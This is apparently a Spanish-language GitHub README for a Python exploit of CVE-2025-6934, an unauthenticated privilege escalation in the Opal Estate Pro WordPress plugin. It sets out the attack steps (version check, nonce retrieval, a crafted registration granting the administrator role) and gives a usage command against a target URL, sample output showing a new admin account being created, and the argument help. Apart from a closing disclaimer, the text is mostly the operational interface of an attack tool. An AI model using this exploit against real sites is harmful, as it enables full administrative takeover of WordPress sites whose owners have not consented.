🛡️ CVE-2025-6934 - Escalada de Privilegios no Autenticada en Opal Estate Pro

📝 Descripción

El plugin Opal Estate Pro – Property Management and Submission para WordPress, utilizado por el FullHouse - Real Estate Responsive WordPress Theme, es vulnerable a Escalada de Privilegios en todas las versiones hasta la 1.7.5 inclusive.

• ID CVE: CVE-2025-6934
• Puntuación CVSS: 9.8 (Crítico)
• Publicado: 30 de junio de 2025

⚙️ Información del Script

Este exploit en Python automatiza el proceso de escalada de privilegios:

• Verificando la versión vulnerable del plugin mediante readme.txt.
• Obteniendo el nonce requerido de la página de registro.
• Enviando una solicitud de registro manipulada para obtener acceso de Administrador.

🚀 Ejemplo de Uso

python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234

📤 Ejemplo de Salida

[•] Plugin Version Check:
    [+] Vulnerable version detected: 1.7.5

[•] Exploit Attempt Started
    [+] Nonce Found: 70dd70630b
    [+] HTTP Status: 200

[✔] Exploit Successful!
    --------------------------
    Username : nxploitedadmin
    Email    : [email protected]
    Password : nxp1234
    Role     : administrator
    --------------------------

Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited

🛠️ Argumentos y Ayuda

usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD

CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL (e.g., http://site.com/path/)
  -mail, --newmail NEWMAIL
                          Email to register as admin
  -password, --newpassword NEWPASSWORD
                          Password for new admin user

⚠️ Descargo de Responsabilidad

Este script es solo para fines educativos y de pruebas de seguridad autorizadas.
El uso no autorizado de esta herramienta contra objetivos sin consentimiento está estrictamente prohibido.

Por: Khaled_alenazi (Nxploited)